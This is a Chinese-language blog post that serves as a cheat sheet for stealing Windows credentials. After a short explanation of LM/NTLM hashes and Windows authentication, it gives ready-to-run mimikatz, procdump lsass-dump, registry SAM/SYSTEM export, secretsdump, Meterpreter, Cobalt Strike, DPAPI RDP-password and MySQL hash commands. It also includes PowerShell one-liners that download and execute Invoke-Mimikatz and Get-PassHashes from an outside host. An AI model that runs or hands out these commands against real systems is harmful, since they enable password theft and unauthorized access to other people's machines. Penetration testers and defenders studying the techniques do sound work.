Windows密码凭证获取

Windows密码凭证获取

成殇Orz1

0x00 Windows Hash简介

Windows Hash

所谓哈希(hash),就是使用一种加密函数进行计算后的结果。这个加密函数对一个任意长度的字符串数据进行一 次数学加密函数运算,然后返回一个固定长度的字符串。 现在已经有了更新的NTLMv2以及Kerberos验证体系。

Windows系统使用两种方法对用户的密码进行哈希处理,它们分别是LAN Manager(LM)哈希和NT LAN Manager(NTLM)哈希Windows加密过的密码口令,我们称之为hash,Windows的系统密码hash默认情况下一般由两部分组成:第一 部分是LM-hash,第二部分是NTLM-hash。

Windows Hash格式:

用户名称:RID:LM-HASH:NT-HASH

LM哈希密码最大长度为14,密码长度超过14位使用NTLM哈希

2000 xp 2003 Vista win7 2008 2012
LM
NTLM

Windows 认证基础

Windows的认证包括三个部分:

  • 本地认证:用户直接操作计算机登陆账户

  • 网络认证:远程连接到工作组中的某个设备

  • 域认证:登陆到域环境中的某个设备

Windows本地认证

  • 用户输入密码

  • 系统收到密码后将用户输入的密码计算成NTLM Hash

  • 与sam数据库(%SystemRoot%\system32\config\sam)中该用户的哈希比对

  • 匹配则登陆成功,不匹配则登陆失败

本地认证中用来处理用户输入密码的进程为lsass.exe,密码会在这个进程中明文保存,供该进程将密码计算成NTLM Hash与sam进行比对,我们使用mimikatz来获取的明文密码,便是在这个进程中读取到的

0x01 系统用户密码凭证获取

Mimikatz

https://github.com/gentilkiwi/mimikatz/releases

本地交互式
 mimikatz.exe 
 mimikatz # log res.txt
 mimikatz # privilege::debug
 mimikatz # token::elevate
 mimikatz # lsadump::sam
 mimikatz # exit
本地非交互式凭证获取
 mimikatz.exe 
 mimikatz # log logon.txt
 mimikatz # privilege::debug
 mimikatz # sekurlsa::logonpasswords
 mimikatz # exit
Powershell远程加载mimikatz脚本

https://github.com/PowerShellMafia/PowerSploit/raw/master/Exfiltration/Invoke-Mimikatz.ps1

powershell IEX (New-Object Net.WebClient).DownloadString('http://ip:prot/Invoke-Mimikatz.ps1');Invoke-Mimikatz –DumpCreds
Powershell加载Get-PassHashes脚本

https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1

powershell IEX(new-object net.webclient).downloadstring('http://47.x.x.85/Get-PassHashes.ps1');Get-PassHashes

WCE

官网地址:https://www.ampliasecurity.com/research.html
32位下载:https://www.ampliasecurity.com/research/wce_v1_42beta_x32.zip
64位下载:https://www.ampliasecurity.com/research/wce_v1_42beta_x64.zip
历史版本下载:https://www.ampliasecurity.com/research/windows-credentials-editor/

Pwddump7

这款工具可以读取出当前系统的各个用户的密码hash (包括LM和NTLM)。 在命令行输入Pwddump7.txt就可以读取出hash并显示出来,也可以保存到一个文件中。

Pwddump7.exe > pass.txt

得到

Procdump+Mimikatz

https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdum

Procdump lsass 进程导出:

For 32bits:
procdump.exe -accepteula -ma lsass.exe lsass.dmp 
For 64bits:
procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp

然后使用mimikatz还原密码:

mimikatz.exe
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
exit

注册表导出hash

https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdum

reg save HKLM\SYSTEM system.hiv
reg save HKLM\SAM sam.hiv
reg save HKLM\SECURITY security.hiv
Mimikatz
mimikatz.exe
lsadump::sam /system:system.hiv /sam:sam.hiv
exit
python脚本
python secretsdump.py -sam sam.hiv -security security.hiv -system system.hiv LOCAL

LaZagne

https://github.com/AlessandroZ/LaZagne

Meterpreter

Hashdump

获取system权限

meterpreter > getsystem
meterpreter > getuid

获取hash值

use post/windows/gather/hashdump		//system权限的meterpreter
set session 1
exploit									//结果保存在tmp目录下
use post/windows/gather/smart_hashdump
set session 1
exploit
Mimikatz
meterpreter > load kiwi
meterpreter > help kiwi
#列举系统中的明文密码
meterpreter > creds_all
#读取sam文件
meterpreter > lsa_dump_sam
#kiwi_cmd命令后面接mimikatz.exe的命令
meterpreter > kiwi_cmd sekurlsa::logonpasswords

Cobaltstrike

beacon> hashdump
beacon> logonpasswords
beacon> mimikatz sekurlsa::logonpasswords

0x02 Hash解密

https://www.objectif-securite.ch/ophcrack

Ophcrack

如果网站无法破解出hash值,可以使用ophcrack工具配合彩虹表破解。

工具下载:https://ophcrack.sourceforge.io/

彩虹表: https://ophcrack.sourceforge.io/tables.php http://project-rainbowcrack.com/table.htm

0x03 其他密码获取

获取RDP连接密码

获取链接记录

https://github.com/3gstudent/List-RDP-Connections-History.git

mimikatz解密

查看本地机器本地连接过的目标机器:

reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s

查看本地用户此目录下是否存有RDP密码文件:

dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*

查看保存在本地的远程主机信息:

cmdkey /list

选择一个密码文件对其进行解密:

privilege::debug
dpapi::cred
/in:C:\Users\4600\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D

此处需要记录下guidMasterKey的值,待会要通过guidMasterKey找对应的Masterkey

guidMasterKey : {56dc62ge-0af9-4925-bf07-f54ba502a40a}

根据guidMasterKey找到对应的Masterkey:

sekurlsa::dpapi

通过Masterkey解密pbData数据,拿到明文RDP连接密码:

dpapi::cred
/in:C:\Users\4600\AppData\Local\Microsoft\Credentials\2A203AFB09B575A760E88FA341B9E354
/masterkey:2d72835b9c08a9332106c23017ee6c0a0be9a368de34c1f6acc6d34dc0de8bc264729bd7736
f806e9456544841564be0d5e9564090a7bb143ac32579adabb02a

Mysql数据库密码破解

一旦获取了网站一定的权限后,如果能够获取MySQL中保存用户数据,通过解密后,即可通过正常途径来访问 数据库;一方面可以直接操作数据库中的数据,另一方面可以用来提升权限。

MySQL数据库用户密码跟其它数据库用户密码一样,在应用系统代码中都是以明文出现的,在获取文件读取权 限后即可直接从数据库连接文件中读取 一般都包含有数据库类型,物理位置,用户名和密码等信息

MYSQL数据库文件类型

MYSQL数据库文件共有“frm”、“MYD”“和MYI”三种文件

  • ".frm" 是描述表结构的文件
  • ".MYD" 是表的数据文件
  • ".MYI" 是表数据文件中任何索引的数据树

与用户相关的一共有三个文件即user.frm、user.MYD、user.MYI,MYSQL数据库用户密码都保存在user.MYD 文件中,包括root用户和其他用户的密码

MYSQL加密方式

MYSQL数据库的认证密码有两种方式:

  • MYSQL 4.1版本之前是MYSQL323加密
  • MYSQL 4.1和之后的版本都是MYSQLSHA1加密

MYSQL数据库中自带Old_Password(str)和Password(str)函数,它们均可以在MYSQL数据库里进行查询, 前者是MYSQL323加密,后者是MYSQLSHA1方式加密。 MYSQL323加密中生成的是16位字符串,而在MYSQLSHA1中生存的是41位字符串,其中*是不加入实际的密 码运算中,MYSQLSHA1加密的密码的实际位数是40位

获取MYSQL密码

用winhex编辑器打开user.MYD文件,使用二进制模式查看,即可得到密码Hash值:

Hash破解
  • www.cmd5.com
  • www.somd5.com

工具

SharpDecryptPwd

posted @   成殇Orz1  阅读(314)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· winform 绘制太阳,地球,月球 运作规律
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 上周热点回顾(3.3-3.9)
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
点击右上角即可分享
微信分享提示